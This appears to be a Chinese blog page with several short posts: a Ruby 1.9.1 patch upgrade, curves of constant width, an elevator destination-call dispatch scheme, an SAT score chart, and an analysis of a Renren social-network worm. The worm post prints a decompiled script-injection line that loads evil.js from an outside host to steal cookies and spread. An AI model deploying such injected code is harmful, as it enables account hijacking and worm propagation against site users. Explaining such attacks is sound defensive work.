几张图,不做解释。
这次Ruby的更新主要是修复Bug,一共修复了100多个Bug,并修复了之前1.9.1版本的Heap Overflow漏洞,所以建议升级到p376版本。Changelog
我也在第一时间更新到了p376版本:
wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p376.tar.bz2
tar -xvf ruby-1.9.1-p376.tar.bz2
cd ruby-1.9.1-p376
./configure –bindir=/usr/bin –sbindir=/usr/sbin/
make -j3
make install
翻译:如果你看到的标志是蓝色的,你就开的太快了。
如果真看不懂请点这里
记得前一段时间听到过这样一个问题,说:在一张硬板上剪下一块如上图所示阴影的图形,它一定不能穿过刚才所剪出的洞,请问为什么?当时我拿到了这道题,想了想,把问题简化成了:证明这个图形在任何方向直线上的投影得到的线段长度恒定。(然后的证明我就在这里省略了)当时我想,这确实是一个很有趣的性质,挺有研究价值。今天突然看到了等宽(Constant Width)这个概念(参考:Curve of constant width)。
首先,我们先来定义什么是“宽度”:一个封闭的图形,在图形外取两条平行的直线,然后把直线向中间的图形移,并保持直线方向。当两条直线都恰好接触图形时,平行线间的距离就是该图形在平行线方向上的“宽度”。而等宽图形就是在任何方向上宽度都相等的图形。
曾经因等电梯被困在某大厦的高层?或因电梯的不智能而导致时间的浪费?相信很多人都遇到过这类问题。电梯的运行效率问题在那些层数多、人流量多的建筑中尤为体现。写字楼等高层建筑离不开电梯,更高效的电梯管理与运营方案可以方便人们,更可以节约能源!
首先,为了更好地讨论关于电梯效率的问题,我们得先定义电梯的效率。本文假设电梯的效率与电梯的总运行时间、乘客平均与最大等待时间有关。并且,对于同一的客流量(或者说同一组电梯请求,因为不止在数量上相等),一个建筑中的电梯组总运行时间越少、乘客等待的平均与最大时间越少,其效率越高。
传统的电梯每层会有两个按钮,上和下(在这里不讨论极为低效的每个台电梯对应两个按钮的情况)。每当电梯遇到有请求的楼层、并且当电梯运行方向与请求方向一致时,就会停下。但是这样的电梯组并没有被“规划”,每个电梯相对独立的运行,在客流量很大的情况下会导致电梯资源分配不均匀[1],并导致电梯总运行时间增加、效率降低。那么究竟怎么样才能提高电梯的运行效率呢?
简单的对传统的电梯系统做下分析,乘客只需输入上或下,但也正是这种过于简单的输入而导致系统无法进行电梯运行的优化。那么,如果我们增加乘客可提供的信息呢?比如提供所要去的楼层?
目的楼层请求系统(Destination Call System)就是一个为增加电梯运营效率而设计的系统,其不同点在于——当你想乘坐电梯时,你需要输入你想去的楼层而非只是提供上和下。然后系统会自动根据情况把最合适的电梯非配给你。然后你只需要等待该电梯的到来然后电梯就会把你带到你想要去的楼层了。其实现在有很多写字楼都配备了这种电梯系统,如北京的欧美汇大厦,研究试验表明这个系统确实要比普通的电梯系统要高效[2]。
目的楼层请求系统(Destination Call System)的实现
首先,将每台电梯的运行路线看作一个数组,其中每个元素表示一个楼层。如[1,3,5,2]就表示电梯的运行路线为1-3-5-2。每当系统得到一个新的请求时,系统会根据所提供的起始楼层和目的楼层模拟分配给每一台电梯,然后模拟出每台电梯的新运行路线,并算出每台增加的运行时间,其中增加运行时间最短的方法最优。然后系统就会将最该请求分配到那台电梯。
[1]、[2]:参考文献:http://www.matheon.net/preprints/4684_rt_group_elevator.pdf
The SAT Scores Distribution Curve
http://www.wolframalpha.com/input/?i=SAT+scores
Wolfram Alpha上关于2006年SAT成绩的分布曲线图,“标准”的正态分布曲线。
今天大家都发现自己莫名其妙的收到了很多Wish You Were Here @ 2016的站内信。
根据这篇日志 http://blog.renren.com/GetEntry.do?id=413070706&owner=265190042&ref=minifeed 中的代码。其原理就是通过swf运行一段恶意js代码从而获取用户cookie,再向校内服务器发送发送站内信请求从而传播。
一下为解出的swf
var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://n.99081.com/xnxss1/evil.js\"; x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
…

